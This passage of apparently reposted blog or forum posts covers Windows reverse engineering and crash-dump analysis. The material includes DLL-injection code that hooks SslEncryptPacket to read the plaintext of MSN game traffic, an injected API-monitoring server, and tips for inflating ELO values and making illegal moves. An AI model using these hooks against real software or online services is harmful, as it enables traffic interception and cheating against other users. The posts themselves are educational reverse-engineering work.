1, "CALL Chat sChatText=%s&sFontFace=MS%%20Shell%%20Dlg&arfFontFlags=0&eFontColor=12345&eFontCharSet=1\r\n", strBuffer); SendDataFnc(pThisPtr, strSendBuffer, (unsigned int)strlen(strSendBuffer), 0, 1); } } break; } default: return FALSE; } return TRUE; } DWORD WINAPI DlgThread(LPVOID hModule) { return (DWORD)DialogBox((HINSTANCE)hModule, MAKEINTRESOURCE(DLG_MAIN), NULL, DialogProc); } Here is an example of it at work: Additional Final Words Some other fun things to mess with: Logging can be enabled by patching out .text : 000007FF34FAB6FA cmp cs : ? m_loggingEnabled@@ 3_NA, 0; bool m_loggingEnabled .text : 000007FF34FAB701 jz short loc_7FF34FAB77E and creating a “LoggingEnabled” expandable string registry key at HKEY_CURRENT_USER/Software/Microsoft/zone.com. The logs provide tons of debug output about the internal state changes of the application, e.g. [Time: 05-01-2014 21:48:59.253] CStadiumProxyBase::SetInternalState: OLD STATE: 0 (IST_NOT_CONNECTED) NEW STATE: 2 (IST_JOIN_PENDING) NEW STATUS: 1 (STADIUM_CONNECTION_CONNECTING) LIGHT STATUS: 0 (STADIUM_CONNECTION_NOT_CONNECTED) m_pFullState: 0x00000000 The values in the ZS_PublicELO and ZS_PrivateELO tags can be modified to be much higher values. If you do this on two clients you are guaranteed a match against yourself, unless someone else is also doing this. The games have some cases where they do not perform full santization of game state, so making impossible moves is sometimes allowed. The full source code relating to this can be found here. Source
  6. This post will entail the fun endeavors of reverse engineering the default MSN Internet Games that come with most “Professional” and higher versions of Windows (although discontinued from Windows 8 onwards). Namely the common protocol shared by Internet Backgammon, Internet Checkers, and Internet Spades. Upon launching the game and connecting with another player, the first thing to do is to check what port everything is running on. In this case, it was port 443, which is the port most commonly used for SSL. This has the advantage of giving away a known protocol, but the disadvantage of not being able to read/modify any of the outgoing data. It can also mean that there is a custom protocol that is encrypted and has an SSL layer added on top before going out, but fortunately that is not the case here (spoilers). Starting Point Since SSL consists of part of the network code, the most logical place to start is in those respective modules which carry out the work: ncrypt.dll and bcrypt.dll. The prime target here is the SslEncryptPacket function. Presumably, this function will be called somewhere in the chain leading up in to the packet leaving the client. Per MSDN, two of the parameters for the function are: pbInput [in] A pointer to the buffer that contains the packet to be encrypted. cbInput [in] The length, in bytes, of the pbInput buffer. If we can intercept the function call and inspect those parameters, there is a chance of being able to view the data that is leaving the client. If not, then inspecting further down the call stack will eventually lead to the plaintext anyway. There is also a corresponding SslDecryptPacket function which will serve as a starting point to getting and inspecting server responses. The Plan The plan of action is pretty straightforward. Get into the address space of the target executable. This will be done through a simple DLL injection. Find the target function for encrypting data (SslEncryptPacket) and decrypting data (follow call from SslDecryptPacket down). Install hooks on these two functions. The chosen method will be through memory breakpoints. Inspect the contents of incoming and outgoing messages in plaintext. Determine the protocol and begin messing with it. The first step won’t be covered here due to the hundreds of different DLL injection tutorials/guides/tools already out there. The code in the injected DLL will be a pretty direct translation of the above steps. Something akin to the code below: int APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) { switch(dwReason) { case DLL_PROCESS_ATTACH: (void)DisableThreadLibraryCalls(hModule); if(AllocConsole()) { freopen("CONOUT$", "w", stdout); SetConsoleTitle(L"Console"); SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE); printf("DLL loaded.\n"); } if(GetFunctions()) { pExceptionHandler = AddVectoredExceptionHandler(TRUE, VectoredHandler); if(SetBreakpoints()) { printf("BCryptHashData: %016X\n" "SslEncryptPacket: %016X\n", BCryptHashDataFnc, SslEncryptPacketFnc); } else { printf("Could not set initial breakpoints.\n"); } } break; case DLL_PROCESS_DETACH: //Clean up here usually break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; } return TRUE; } A “debug console” instance is created to save effort on having to attach a debugger in each testing instance. Pointers to the desired functions are then retrieved through the GetFunctions() function, and lastly memory breakpoints are installed on the two functions (encryption/decryption) to monitor the data being passed to them. For those wondering where BCryptHashData came from, it was traced down from SslDecryptData. It is actually called on both encryption/decryption, but will serve as the point of monitoring received messages from the server (in this post at least). The second step is very easy and straightforward. By injecting a DLL into the process, we have full access to the process address space, and it is a simple matter of calling GetProcAddress on the desired target functions. This becomes basic WinAPI knowledge. FARPROC WINAPI GetExport(const HMODULE hModule, const char *pName) { FARPROC pRetProc = (FARPROC)GetProcAddress(hModule, pName); if(pRetProc == NULL) { printf("Could not get address of %s. Last error = %X\n", pName, GetLastError()); } return pRetProc; } const bool GetFunctions(void) { HMODULE hBCryptDll = GetModuleHandle(L"bcrypt.dll"); HMODULE hNCryptDll = GetModuleHandle(L"ncrypt.dll"); if(hBCryptDll == NULL) { printf("Could not get handle to Bcrypt.dll. Last error = %X\n", GetLastError()); return false; } if(hNCryptDll == NULL) { printf("Could not get handle to Bcrypt.dll. Last error = %X\n", GetLastError()); return false; } printf("Module handle: %016X\n", hBCryptDll); BCryptHashDataFnc = (pBCryptHashData)GetExport(hBCryptDll, "BCryptHashData"); SslEncryptPacketFnc = (pSslEncryptPacket)GetExport(hNCryptDll, "SslEncryptPacket"); return ((BCryptHashDataFnc != } Installing the hooks (via memory breakpoints) is just an adaptation of the previous post on it. The code looks as follows: const bool AddBreakpoint(void *pAddress) { SIZE_T dwSuccess = 0; MEMORY_BASIC_INFORMATION memInfo = { 0 }; dwSuccess = VirtualQuery(pAddress, &memInfo, sizeof(MEMORY_BASIC_INFORMATION)); if(dwSuccess == 0) { printf("VirtualQuery failed on %016X. Last error = %X\n", pAddress, GetLastError()); return false; } DWORD dwOldProtections = 0; dwSuccess = VirtualProtect(pAddress, sizeof(DWORD_PTR), memInfo.Protect | PAGE_GUARD, &dwOldProtections); if(dwSuccess == 0) { printf("VirtualProtect failed on %016X. Last error = %X\n", pAddress, GetLastError()); return false; } return true; } const bool SetBreakpoints(void) { bool bRet = AddBreakpoint(BCryptHashDataFnc); bRet &= AddBreakpoint(SslEncryptPacketFnc); return bRet; } LONG CALLBACK VectoredHandler(EXCEPTION_POINTERS *pExceptionInfo) { if(pExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_GUARD_PAGE_VIOLATION) { pExceptionInfo->ContextRecord->EFlags |= 0x100; DWORD_PTR dwExceptionAddress = (DWORD_PTR)pExceptionInfo->ExceptionRecord->ExceptionAddress; CONTEXT *pContext = pExceptionInfo->ContextRecord; if(dwExceptionAddress == (DWORD_PTR)SslEncryptPacketFnc) { DWORD_PTR *pdwParametersBase = (DWORD_PTR *)(pContext->Rsp + 0x28); SslEncryptPacketHook((NCRYPT_PROV_HANDLE)pContext->Rcx, (NCRYPT_KEY_HANDLE)pContext->Rdx, (PBYTE *)pContext->R8, (DWORD)pContext->R9, (PBYTE)(*(pdwParametersBase)), (DWORD)(*(pdwParametersBase + 1)), (DWORD *)(*(pdwParametersBase + 2)), (ULONGLONG)(*(pdwParametersBase + 3)), (DWORD)(*(pdwParametersBase + 4)), (DWORD)(*(pdwParametersBase + 5))); } else if(dwExceptionAddress == (DWORD_PTR)BCryptHashDataFnc) { BCryptHashDataHook((BCRYPT_HASH_HANDLE)pContext->Rcx, (PUCHAR)pContext->Rdx, (ULONG)pContext->R8, (ULONG)pContext->R9); } return EXCEPTION_CONTINUE_EXECUTION; } if(pExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) { (void)SetBreakpoints(); return EXCEPTION_CONTINUE_EXECUTION; } return EXCEPTION_CONTINUE_SEARCH; } Software breakpoints will be set on the memory page that SslEncryptPacket and BCryptHashData are on. When these are hit a STATUS_GUARD_PAGE_VIOLATION will be raised and caught by the topmost vectored exception handler that the injected DLL installed upon load. The exception address will be checked against the two desired target addresses (SslEncryptPacket/BCryptHashData) and an inspection function will be called. In this case it will just echo the contents of the plaintext data buffers out to the debug console instance. The single-step flag will be set so the program can continue execution by one instruction before raising a STATUS_SINGLE_STEP exception, upon which the memory breakpoints will be reinstalled (since guard page flags are cleared after the page gets accessed). For a more in-depth explanation, see the linked post related to memory breakpoints posted before on this blog. The x64 ABI (on Windows) stores the first four parameters in RCX, RDX, R8, and R9 respectively, and the rest on the stack. There is no need to worry about locating any extra parameters in the case of BCryptHashData, which only takes four. However, SslEncryptData takes ten parameters, so there are another six to locate. In this case, there is no reason to care beyond the fourth parameter, but all of them are passed in for the sake of completeness. The base of the parameters on the stack were found by looking at how the function is called and verifying with a debugger during runtime. The “hook” code, as mentioned above, will just print out the data buffers. The implementation is given below: void WINAPI BCryptHashDataHook(BCRYPT_HASH_HANDLE hHash, PUCHAR pbInput, ULONG cbInput, ULONG dwFlags) { printf("--- BCryptHashData ---\n" "Input: %.*s\n", cbInput, pbInput); } void WINAPI SslEncryptPacketHook(NCRYPT_PROV_HANDLE hSslProvider, NCRYPT_KEY_HANDLE hKey, PBYTE *pbInput, DWORD cbInput, PBYTE pbOutput, DWORD cbOutput, DWORD *pcbResult, ULONGLONG SequenceNumber, DWORD dwContentType, DWORD dwFlags) { printf("--- SslEncryptPacket ---\n" "Input: %.*s\n", cbInput, pbInput); } What Does It Look Like? After everything is completed, it is time to inspect the protocol. Below are some selected packet logs from a session of Checkers. STATE {some large uuid} Length: 0x000003CD <?xml version="1.0"?> <StateMessage xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="h ttp://www.w3.org/2001/XMLSchema" xsi:type="StateMessageEx" xmlns="http://zone.ms n.com/stadium/wincheckers/"> <nSeq>4</nSeq> <nRole>0</nRole> <eStatus>Ready</eStatus> <nTimestamp>578</nTimestamp> <sMode>normal</sMode> <arTags> <Tag> <id>chatbyid</id> <oValue xsi:type="ChatTag"> <UserID>numeric user id</UserID> <Nickname>numeric nickname</Nickname> <Text>SYSTEM_ENTER</Text> <FontFace>MS Shell Dlg</FontFace> <FontFlags>0</FontFlags> <FontColor>255</FontColor> <FontCharSet>1</FontCharSet> <MessageFlags>2</MessageFlags> </oValue> </Tag> <Tag> <id>STag</id> <oValue xsi:type="STag"> <MsgID>StartCountDownTimer</MsgID> <MsgIDSbKy /> <MsgD>0</MsgD> </oValue> </Tag> </arTags> </StateMessage> STATE {some large uuid} Length: 0x000006D1 <?xml version="1.0"?> <StateMessage xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="h ttp://www.w3.org/2001/XMLSchema" xsi:type="StateMessageEx" xmlns="http://zone.ms n.com/stadium/wincheckers/"> <nSeq>5</nSeq> <nRole>0</nRole> <eStatus>Ready</eStatus> <nTimestamp>2234</nTimestamp> <sMode>normal</sMode> <arTags> <Tag> <id>STag</id> <oValue xsi:type="STag"> <MsgID>FrameworkUpdate</MsgID> <MsgIDSbKy /> <MsgD><D><StgSet><SeatCnt>2</SeatCnt><GameT&g t;AUTOMATCH</GameT><AILvls>2</AILvls><GameM>INIT_GAME&lt ;/GameM><Start>True</Start><PMatch>False</PMatch>< ShowTeam>False</ShowTeam></StgSet></D></MsgD> </oValue> </Tag> <Tag> <id>STag</id> <oValue xsi:type="STag"> <MsgID>GameInit</MsgID> <MsgIDSbKy>GameInit</MsgIDSbKy> <MsgD><GameInit><Role>0</Role><Players><Playe r><Role>0</Role><Name>8201314a 01</Name><Type >Human</Type></Player><Player><Role>1</Role>&lt ;Name>1d220e29 01</Name><Type>Human</Type></Player& gt;</Players><Board><Row>0,1,0,1,0,1,0,1</Row><Row&gt ;1,0,1,0,1,0,1,0</Row><Row>0,1,0,1,0,1,0,1</Row><Row>0,0 ,0,0,0,0,0,0</Row><Row>0,0,0,0,0,0,0,0</Row><Row>3,0,3,0 ,3,0,3,0</Row><Row>0,3,0,3,0,3,0,3</Row><Row>3,0,3,0,3,0 ,3,0</Row></Board><GameType>Standard</GameType></Game Init></MsgD> </oValue> </Tag> </arTags> </StateMessage> CALL EventSend messageID=EventSend&XMLDataString=%3CMessage%3E%3CMove%3E% 3CSource%3E%3CX%3E6%3C/X%3E%3CY%3E5%3C/Y%3E%3C/Source%3E%3CTarget%3E%3CX%3E7%3C/ X%3E%3CY%3E4%3C/Y%3E%3C/Target%3E%3C/Move%3E%3C/Message%3E CALL EventSend messageID=EventSend&XMLDataString=%3CMessage%3E%3CGameMana gement%3E%3CMethod%3EResignGiven%3C/Method%3E%3C/GameManagement%3E%3C/Message%3E The protocol basically screams XML-RPC. It appears that the entire state of the game is initialized and carried out over these XML messages. From a security perspective, it also presents an interesting target to fuzz, given the large variety of fields present within these messages, and the presence of a length field in the message. Some Issues With This Approach There are some issues with this approach. Firstly, ncrypt.dll and bcrypt.dll are delay loaded, so our DLL will have to be injected after a multiplayer session starts, or there will have to be some polling loop introduced to check whether these two DLLs have loaded. This is ugly and there is a much better way to get around this that will be talked about in the next post. Secondly, BCryptHashData is used for both incoming and outgoing messages. This makes it more difficult if we wish to mess with these messages as there will have to be logic added to distinguish between client and server messages. This will also be resolved in the next post. The full source code relating to this can be found here. Source
  7. This post will discuss API monitoring in a remote process through RPCs (via sockets) and Google’s Protocol Buffers encoding/message interchange format. The purpose is to use the example as a building block for a generic API monitoring client-server application, with the server being resident inside of a DLL that is injected into a remote process. Clients can connect and send messages to install/remove hooks and receive updates from the server when these desired APIs are called by the target application. In summary, the system will interact as follows: A process that is the target of monitoring will be running on the system. A DLL is injected into this process and a server socket is created and begins listening. A separate client application will connect on the server port and begin issuing commands to the server to add/remove hooks. The server will receive these commands and inform the client when the desired API is hit. The parameters will be passed back to the client and the server will wait for a response from the client to continue execution in order for the client to properly process the returned parameters. Below is the example protocol that these components will interact through package ApiMonitor.ProtoBuf; message Call { required uint32 uiHookId = 1; repeated uint64 uiParameter = 2; } message AddHook { required uint32 uiHookId = 1; required string strDllName = 2; required string strFunctionName = 3; required uint32 uiNumParameters = 4; } message RemoveHook { required uint32 uiHookId = 1; } message MonitorMessage { optional AddHook mAddHook = 1; optional RemoveHook mRemoveHook = 2; optional Call mCall = 3; optional bool bIsContinue = 4; } Client/Server components will receive a MonitorMessage, which can contain an add hook message, remove hook message, call information message, or a boolean indicating that it is a continue message from the client. The server will operate on AddHook/RemoveHook by performing the appropriate actions, and will generate Call mesages containing the values of the parameters as they are retrieved from the stack as part of the added API hook. The client will generate AddHook/RemoveHook messages, or send a continue message to the server by sending a message with bIsContinue as true. The client will additionally operate on received Call messages from the server and, for this example, display the parameters of the hooked function. Special identifiers (uiHookId) will identify individual hooks for easy removal or dispatching of received call messages. The example code I provide only shows one hooked function, but the idea allows for it to be extended to any arbitrary number. Adding a hook becomes pretty straightforward. From the client code: ApiMonitor::ProtoBuf::MonitorMessage mOutgoingMessage; mOutgoingMessage.mutable_maddhook()->set_uihookid(0x123); mOutgoingMessage.mutable_maddhook()->set_strdllname("user32.dll", 10); mOutgoingMessage.mutable_maddhook()->set_strfunctionname("MessageBoxA", 11); mOutgoingMessage.mutable_maddhook()->set_uinumparameters(4); (void)SendOutgoingMessage(sckConnect, &mOutgoingMessage); with SendOutgoingMessage being responsible for serialization of the Protocol Buffer message. The message are sent in two parts, with the first containing the size of the incoming message buffer and the latter containing the bytes of the message itself. This functionality is used both in client and server. const bool Send(SOCKET sckConnect, const char *pBuffer, int uiBufferLength) { int iResult = send(sckConnect, (const char *)pBuffer, uiBufferLength, 0); if (iResult == SOCKET_ERROR) { printf("send failed. Error = %X\n", WSAGetLastError()); closesocket(sckConnect); WSACleanup(); return false; } return true; } const bool SendOutgoingMessage(SOCKET sckConnect, ApiMonitor::ProtoBuf::MonitorMessage *pMessage) { const int iBuffSize = pMessage->ByteSize(); char *pBuffer = (char *)malloc(iBuffSize * sizeof(char)); pMessage->SerializePartialToArray(pBuffer, iBuffSize); bool bRet = Send(sckConnect, (const char *)&iBuffSize, sizeof(int)); bRet &= Send(sckConnect, pBuffer, iBuffSize); free(pBuffer); return bRet; } On the server receiving end, the messages are read from the socket and the MonitorMessage is reconstructed. The fields are checked and the appropriate dispatch happens. int iResult = 0; do { int iBuffSize = 0; iResult = recv(sckClient, (char *)&iBuffSize, sizeof(int), 0); char *pBuffer = (char *)malloc(iBuffSize * sizeof(char)); iResult = recv(sckClient, pBuffer, iBuffSize, 0); ApiMonitor::ProtoBuf::MonitorMessage mReceivedMessage; mReceivedMessage.ParseFromArray(pBuffer, iBuffSize); if (mReceivedMessage.has_biscontinue()) { SetEvent(hWaitEvent); } else if (mReceivedMessage.has_maddhook()) { (void)AddHook(mReceivedMessage.maddhook().uihookid(), mReceivedMessage.maddhook().strdllname().c_str(), mReceivedMessage.maddhook().strfunctionname().c_str(), mReceivedMessage.maddhook().uinumparameters(), &dwAddress); } else if (mReceivedMessage.has_mremovehook()) { (void)RemoveHook(mReceivedMessage.mremovehook().uihookid(), dwAddress); } free(pBuffer); } while (iResult > 0); If the message is a continue message then an event is signaled to allow the thread that invoked the target API to continue (this will be discussed further in a bit). Otherwise if the message is an add or remove hook message, the appropriate actions to add/remove it will be taken. The code for this won’t be shown here because the technique has been discussed several times before (see memory breakpoints or the previous usage of them). Additionally, the full source code for all of this is provided. Once the hook is installed and the target API is hit, it will trampoline to a hook function which will retrieve the parameters from the current execution context. The implementation is shown below static void WINAPI HookFunction(CONTEXT *pContext) { EnterCriticalSection(&critSec); ApiMonitor::ProtoBuf::MonitorMessage mCallMessage; #ifdef _M_IX86 for(DWORD_PTR i = 0; i < dwHookNumParameters; ++i) { DWORD_PTR dwParameter = *(DWORD_PTR *)(pContext->Esp + sizeof(DWORD_PTR) + (i * sizeof(DWORD_PTR))); mCallMessage.mutable_mcall()->add_uiparameter(dwParameter); } #elif defined _M_AMD64 mCallMessage.mutable_mcall()->add_uiparameter(pContext->Rcx); mCallMessage.mutable_mcall()->add_uiparameter(pContext->Rdx); mCallMessage.mutable_mcall()->add_uiparameter(pContext->R8); mCallMessage.mutable_mcall()->add_uiparameter(pContext->R9); #else #error "Unsupported platform" #endif mCallMessage.mutable_mcall()->set_uihookid(dwHookId); SendOutgoingMessage(sckOutgoing, &mCallMessage); WaitForSingleObject(hWaitEvent, INFINITE); LeaveCriticalSection(&critSec); } For x86, the parameters are retrieved directly from the stack. For x64, the four parameters are retrieved from registers as per the x64 ABI on Windows. If more parameters were to be retrieved for x64, there would have to be an additional field to specify the stack offset at which they start. The example keeps it simple and uses an API (MessageBoxA) with only four parameters. These values are added to a Call message and sent out back to the client. The thread then halts execution waiting for an event to be signaled. This is the event that is signaled via SetEvent(hWaitEvent); on the listening thread. Going back to the client, the code for handling this Call message is shown below: do { ApiMonitor::ProtoBuf::MonitorMessage mIncomingMessage = ReceiveIncomingMessage(sckConnect); assert(mIncomingMessage.mcall().uihookid() == 0x123); HWND hWnd = (HWND)mIncomingMessage.mcall().uiparameter(0); DWORD_PTR dwTextAddress = (DWORD_PTR)mIncomingMessage.mcall().uiparameter(1); DWORD_PTR dwCaptionAddress = (DWORD_PTR)mIncomingMessage.mcall().uiparameter(2); UINT uiType = (UINT)mIncomingMessage.mcall().uiparameter(3); LPSTR lpTextBuffer[64] = { 0 }; LPSTR lpTitleBuffer[64] = { 0 }; DWORD dwProcessId = atoi(argv[1]); HANDLE hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, dwProcessId); SIZE_T dwBytesRead = 0; (void)ReadProcessMemory(hProcess, (LPCVOID)dwTextAddress, lpTextBuffer, sizeof(lpTextBuffer), &dwBytesRead); (void)ReadProcessMemory(hProcess, (LPCVOID)dwCaptionAddress, lpTitleBuffer, sizeof(lpTitleBuffer), &dwBytesRead); printf("Parameters\n" "HWND: %X\n" "Text: %s\n" "Title: %s\n" "Type: %X\n", hWnd, lpTextBuffer, lpTitleBuffer, uiType); mOutgoingMessage.Clear(); mOutgoingMessage.set_biscontinue(true); (void)SendOutgoingMessage(sckConnect, &mOutgoingMessage); } while (!GetAsyncKeyState(VK_F12)); The parameters are retrieved from the message. Two of these parameters are addresses, specifically the MessageBox text and caption. These need to be read from the process memory and are done via a ReadProcessMemory call. After these are retrieved and output, the client creates a Continue message and sends it back to the server to continue execution there. After monitoring is finished (via an F12 key press), the client sends a remove hook message with the following: mOutgoingMessage.Clear(); mOutgoingMessage.mutable_mremovehook()->set_uihookid(0x123); (void)SendOutgoingMessage(sckConnect, &mOutgoingMessage); which removes the hook from the target process. Taking a look at it in action, an example application which repeatedly calls MessageBoxA via MessageBoxA(NULL, "Hello, World!", "Test", MB_ICONINFORMATION); is available. Below is a screenshot of the client after the server DLL was injected into this process. The full source code relating to this can be found here. The static libraries were compiled with VS 2013 and will need to be recompiled if other compilers are used. Source
  8. For the first time today I came upon NTFS Journaling in a crash dump, so I thought I'd go ahead and write a blog post about it! Thread/post here. --------------------------- First off, before going into the specific scenario, let's talk about what a Journaling file system is. Essentially, a JFS is a file system that will go ahead and keep track of any changes that occur within what is known as a journal. In computing of course, this journal is generally a circular log located in a dedicated area of the file system. It's very important to note that this entire process itself is done before committing them to the main file system/carried through the disk. With that said, one question may remain which is likely "Why do we even go through this process in the first place?" Well, in its simplest terms, this process is done to maintain data integrity. If a crash, hang, etc, occurs, the JFS will then have a log to go ahead recreate any potentially corrupt/lost data that occurred. Not only will it return the data to the pre-crash configuration, but it will also go ahead and recover any unsaved data and store it in the location it would have been stored in if the system had not been unexpectedly interrupted. Now, you may be wondering how we actually communicate and/or work with something like this, and that's where NTFS.sys comes in. With NTFS.sys, we have a series of kernel-mode routines (which I will display below in my analysis) that are used to access the log file. This log file is specifically divided into two regions: 1. LFS Restart Area. 2. Infinite Logging Area. Here's a diagram from http://www.ntfs.com/transaction.htm: NTFS.sys calls the LFS (Log File Service) to read/write to the Restart Area. From the above diagram, we can see the two areas we mentioned above. You may notice that under LFS Restart Area, we have two copies. This is done in the event that one copy is either corrupt/inaccessible, so the second would be available in that situation. If we take a look at the other side, we can see that we have the Logging Area, which as I mentioned above is circular (where 'infinite' comes from). New records are added to the logging file until it reaches full capacity, which the LFS then go ahead and frees up space for new records after any prior writes to the log are complete. For what we're discussing here, that's about all we need to know. If you'd like to know more, I suggest reading the link above. --------------------------- Great, so now we have some pretty decent knowledge regarding JFS, LFS, and NTFS regarding data integrity. Let's now go ahead and take a look at the crash I dealt with earlier: ATTEMPTED_WRITE_TO_READONLY_MEMORY (be) An attempt was made to write to readonly memory. The guilty driver is on the stack trace (and is typically the current instruction pointer). When possible, the guilty driver's name (Unicode string) is printed on the bugcheck screen and saved in KiBugCheckDriver. Arguments: Arg1: fffff9800a472010, Virtual address for the attempted write. Arg2: 80e0000057391121, PTE contents. Arg3: fffff880031b5d50, (reserved) Arg4: 000000000000000b, (reserved) Let's go ahead and take a look at that 2nd parameter: 3: kd> !pte 80e0000057391121 VA 80e0000057391121 PXE at FFFFF6FB7DBED000 PPE at FFFFF6FB7DA00008 PDE at FFFFF6FB400015C8 PTE at FFFFF680002B9C88 contains 0070000138B42867 contains 60D00000A3408867 contains 0000000000000000 pfn 138b42 ---DA--UWEV pfn a3408 ---DA--UWEV not valid WARNING: noncanonical VA, accesses will fault ! From above, we can see we have an invalid virtual address (VA). This will inevitably result in a crash. Let's take a look at the call stack: 3: kd> k Child-SP RetAddr Call Site fffff880`031b5be8 fffff800`02ef37c6 nt!KeBugCheckEx fffff880`031b5bf0 fffff800`02e73cee nt! ?? ::FNODOBFM::`string'+0x44cde fffff880`031b5d50 fffff880`012fcd0e nt!KiPageFault+0x16e fffff880`031b5ee0 fffff880`01303be5 Ntfs!LfsWriteLogRecordIntoLogPage+0x1ee <--- As the LFS data is being written to the LFS log, we call into a pagefault. fffff880`031b5f80 fffff880`012ff536 Ntfs!LfsWrite+0x145 <--- Writing to the LFS. fffff880`031b6040 fffff880`013002ef Ntfs!NtfsWriteLog+0x466 <--- Preparing to call the LFS to write to the log. fffff880`031b6290 fffff880`013013ad Ntfs!NtfsChangeAttributeValue+0x34f <--- Changing some sort of value, which NTFS works a lot with. Unsure of what an attribute value is, though. fffff880`031b6480 fffff880`012cea70 Ntfs!NtfsUpdateStandardInformation+0x26b <--- Looks like we have some sort of update to information. fffff880`031b6590 fffff880`012cf41d Ntfs!NtfsCommonFlushBuffers+0x1f0 <--- Again. fffff880`031b6670 fffff800`0331ed26 Ntfs!NtfsFsdFlushBuffers+0x10d <--- File System Driver Creation (FSD) buffer flush. fffff880`031b66e0 fffff880`01041bcf nt!IovCallDriver+0x566 fffff880`031b6740 fffff880`010406df fltmgr!FltpLegacyProcessingAfterPreCallbacksCompleted+0x24f fffff880`031b67d0 fffff800`0331ed26 fltmgr!FltpDispatch+0xcf fffff880`031b6830 fffff800`0317f17b nt!IovCallDriver+0x566 fffff880`031b6890 fffff800`03113ea1 nt!IopSynchronousServiceTail+0xfb fffff880`031b6900 fffff800`02e74e53 nt!NtFlushBuffersFile+0x171 fffff880`031b6990 fffff800`02e71410 nt!KiSystemServiceCopyEnd+0x13 fffff880`031b6b28 fffff800`03114c5f nt!KiServiceLinkage fffff880`031b6b30 fffff800`03114a20 nt!CmpFileFlush+0x3f fffff880`031b6b70 fffff800`03114caa nt!HvWriteDirtyDataToHive+0xe0 fffff880`031b6be0 fffff800`03105bbf nt!HvOptimizedSyncHive+0x32 fffff880`031b6c10 fffff800`03105d25 nt!CmpDoFlushNextHive+0x197 fffff880`031b6c70 fffff800`02e7f261 nt!CmpLazyFlushWorker+0xa5 fffff880`031b6cb0 fffff800`031122ea nt!ExpWorkerThread+0x111 fffff880`031b6d40 fffff800`02e668e6 nt!PspSystemThreadStartup+0x5a fffff880`031b6d80 00000000`00000000 nt!KxStartSystemThread+0x16 Bug check (BE) as I noted above indicates that there was an attempt to write to readonly memory. The attempt to write to readonly memory was this call right here - Ntfs!LfsWriteLogRecordIntoLogPage+0x1ee. So, why did NTFS.sys make an attempt to write to readonly memory, causing a pagefault to occur? Generally, in almost all cases, you will not see a system driver and/or non-3rd party driver accessing invalid, readonly, etc, memory. I had the user run a Chkdsk and errors were found and corrected, however no bad sectors. I also recommended running Seatools in DOS, so I will report back when I can with any new info, etc. --------------------------- References I used to learn about JFS, LFS, etc: NTFS Transaction Journal What is journaled file system? - A Word Definition From the Webopedia Computer Dictionary Journaling file system - Wikipedia, the free encyclopedia Source
  9. Hello everyone, hope you're all well! Late last night I received a crash dump, specifically an 0x7A dump. In most cases, 0x7A's are either some sort of HDD problem (connections to the drive/controller), faulty HDD (bad sectors, etc), antivirus causing file system conflicts, etc. You can generally find out if it's likely a drive/connections problem right away as opposed to a software problem by knowing what the 2nd parameter status codes imply. This one however is fairly interesting considering it's being caused by a rootkit (so it appears), and I love interesting kernel-dumps, so let's take a look! -- You can read my first rootkit debugging post here. It was an 0x3B bug check as opposed to 0x7A. --------------------------- KERNEL_DATA_INPAGE_ERROR (7a) This bug check indicates that the requested page of kernel data from the paging file could not be read into memory. BugCheck 7A, {4, 0, fffffa8009bc11f0, fffff8a009446220} The 1st parameter of our bug check is 4, which indicates that the 2nd parameter is an error status code (typically I/O status code). With this said, the 3rd parameter in our case AFAIK is the PTE contents, and the 4th parameter is the faulting address. The 2nd parameter in our case is 0, which is the following NTSTATUS value - STATUS_SUCCESS (0x00000000). Quite simply, it implies that the operation completed successfully. --------------------------- Let's have a basic look at the call stack: 1: kd> k Child-SP RetAddr Call Site fffff880`177104d8 fffff801`52f2906c nt!KeBugCheckEx fffff880`177104e0 fffff801`52eeabb7 nt! ?? ::FNODOBFM::`string'+0x24cc6 fffff880`177105c0 fffff801`52ea8def nt!MiIssueHardFault+0x1b7 fffff880`17710690 fffff801`52e6beee nt!MmAccessFault+0x81f fffff880`177107d0 fffff801`532ba031 nt!KiPageFault+0x16e fffff880`17710960 fffff801`532ba8a8 nt!CmEnumerateKey+0x191 fffff880`17710a10 fffff801`52e6d453 nt!NtEnumerateKey+0x308 fffff880`17710b90 000007ff`2b3e2f0a nt!KiSystemServiceCopyEnd+0x13 00000042`a4baf118 00000000`00000000 0x000007ff`2b3e2f0a Very interesting call stack we have here! The first big red flag/question we are asking ourselves here is 'Why is a low-level NT function calling into a pagefault?' The answer is... we likely have a rootkit! First off, the CmEnumerateKey routine returns information about a subkey of an open registry key, and if we remember, the 2nd parameter of the bug check was 0 (STATUS_SUCCESS). This indicates that it was successful in its attempt to return information regarding the subkey. Many newer generation rootkits use a technique labeled DKOM (Direct kernel object manipulation) to hide themselves in legitimate Windows processes. In our case here, it appears to have hooked itself into NtEnumerateKey. Expanding off of DKOM, one of the most common ways of going undetected is hooking registry API functions such as - RegOpenKey, RegEnumKey, RegEnumValue. To further increase effectiveness of the rootkit regarding its ability to go undetected, it will specifically hook the low-level NT versions of these functions, such as - NtOpenKey, NtEnumerateKey and NtEnumerateValueKey. --------------------------- With all of that said, if the rootkit is so sophisticated at hiding itself, why is this showing in a call stack of a crash dump? Also, why is the system even crashing in the first place? One of the ways to effectively discover a rootkit hooked to such entries listed above is to directly invoke said functions. In this case, the user was attempting to run scans with various software that would detect the rootkit (such as TDSSKiller, etc). Every time the user ran a scan with such software, the system would call an 0x7A bug check. I may be wrong, but this may be a 'defense' mechanism of the rootkit, or the scan is actually conflicting with the rootkit/what it's trying to accomplish regarding hooking, therefore it forces a bug check or kernel corruption will occur. What's the problem? Well, we can surely almost confirm a rootkit, however, at the same time, we also actually cannot be too sure. Why? Well, this is pretty clear that hooks are occurring and we've caught them, however, what's interesting to know is that intrusion prevention-based software also hooks like this. The user is crashing every single time he/she runs a scan, so that could also be a possibility of buggy software. --------------------------- 1: kd> dl nt!PsActiveProcessHead 10 2 fffff801`530acc80 fffffa80`03088328 fffffa80`0a0b1828 fffffa80`03088328 fffffa80`067aec28 fffff801`530acc80 fffffa80`067aec28 fffffa80`07314ae8 fffffa80`03088328 fffffa80`07314ae8 fffffa80`07d45c28 fffffa80`067aec28 fffffa80`07d45c28 fffffa80`07d13368 fffffa80`07314ae8 